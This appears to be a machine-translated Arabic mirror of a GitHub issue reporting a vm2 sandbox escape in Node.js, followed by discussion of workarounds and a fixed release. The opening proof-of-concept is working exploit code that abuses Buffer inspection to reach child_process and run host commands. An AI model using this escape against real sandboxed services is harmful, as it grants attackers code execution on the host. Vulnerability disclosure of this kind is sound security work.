Vm2: اندلاع مع التفتيش

تم إنشاؤها على ١ مارس ٢٠٢٠  ·  11تعليقات  ·  مصدر: patriksimek/vm2

يمكن استخدام الكود التالي للهروب من vm ، وعلى سبيل المثال تنفيذ الأمر في shell.
تم الإبلاغ عنه بالفعل في # 187 هنا ، ولا يزال يعمل على العقدة 13.6.0 و vm2 v3.8.4

const {VM} = require('vm2');
const vm = new VM({
    wasm: false,
    timeout: 2000,
    sandbox: {},
    eval: false,
});

const malicious = '(' + function(){
    try { require('child_process').execSync("idea") } catch(e){}  // Not getting executed

    let buffer = {
        hexSlice: () => "",
        magic: {
            get [Symbol.for("nodejs.util.inspect.custom")](){
                throw f => f.constructor("return process")();
            }
        }
    };
    try{
        Buffer.prototype.inspect.call(buffer, 0, { customInspect: true });
    }catch(e){
        e(()=>0).mainModule.require('child_process').execSync("winver") // Actually opens winver
    }
}+')()';
vm.run(malicious)
bug confirmed

التعليق الأكثر فائدة

mxschmitt تم إصداره للتو باسم 3.9.0. انا اسف للتاخير.

ال 11 كومينتر

patriksimek تم إصلاح هذه المشكلة بشكل رئيسي ، ولكن الإصلاح جاء مع https://github.com/patriksimek/vm2/pull/242 وهو ما بعد الإصدار 3.8.4. لذلك ليس لدى mpn هذا الإصلاح.

يظل هذا مفتوحًا حتى يخرج الإصدار v3.8.5.

هل لدينا الوقت المقدر للوصول؟

@ jan-osch نظرًا لأن @ patriksimek يبدو غير نشط تمامًا ، لا أعرف.

XmiliaH أشكرك على إجابتك وكل المساهمات!

هل تعتقد أن هذا الحل البديل المصحح بالقردة سيمنع الاختراق حتى يتم نشر نسخة محدثة؟

const vm = new NodeVM({
  console: 'off',
  sandbox: {
    console: consoleInterface,
    setTimeout,
    print,

    // TODO remove once vm2 fixed the breakout issue
    // Reference: https://github.com/patriksimek/vm2/issues/268
    Buffer: {
      ...Buffer,
      prototype: new Proxy(Buffer.prototype, {
        get(object, property) {
          if (property === 'inspect') {
            return () => {
              console.log('[BREAKOUT_ATTEMPT]'); // eslint-disable-line no-console
              consoleInterface.error('Nice try! This breakout attempt will be reported');
            };
          }
          return object[property];
        },
      }),
    },
  },
  require: { // here define modules that can be required
    builtin: [
      // some list
    ],
    external: [
      //...
    ],
  },
});

return vm.run(code, SCRIPT_PATH);

@ jan-osch هذا ليس روحًا جيدة:
1) ينسى مفتاح [Symbol.for ("nodejs.util.inspect.custom")].
2) يسمح لكتابة النموذج الأولي للمخزن المضيف.
3) المشكلة هي أن console.log سيؤدي أيضًا إلى تشغيل هذه المشكلة وأن الحل الخاص بك لا يفعل شيئًا ضد ذلك.

للأسف لا يوجد حل سهل.

فيما يلي إصلاح مؤقت للاختراق تم اختباره بشكل سيئ:

function hacky_fix(vm) {
    const internal = vm._internal;
    const old = internal.Decontextify.object;
    const handler = {__proto__: null};
    internal.Decontextify.object = (object, traps, deepTraps, flags, mock) => {
        const value = old(object, traps, deepTraps, flags, mock);
        const better = new Proxy(value, handler);
        internal.Decontextify.proxies.set(object, better);
        internal.Contextify.proxies.set(better, object);
        return better;
    };
}

يقوم بتصحيح الوظائف الداخلية ، لذا استخدمه بحذر.

شكرا لك XmiliaH! هل تعرف أي مشروع به مجموعة اختبار لمثل هذه الحالات الفرعية؟ أرغب في إضافة بعض اختبارات الاختراق إلى CI الخاص بي كنظام إنذار مبكر

لدينا بعض حالات الاختبار في test / vm.js. فقط ابحث عن الهجوم وستجد الحالات.

تذكير ودي سيكون

mxschmitt تم إصداره للتو باسم 3.9.0. انا اسف للتاخير.

هل كانت هذه الصفحة مفيدة؟
0 / 5 - 0 التقييمات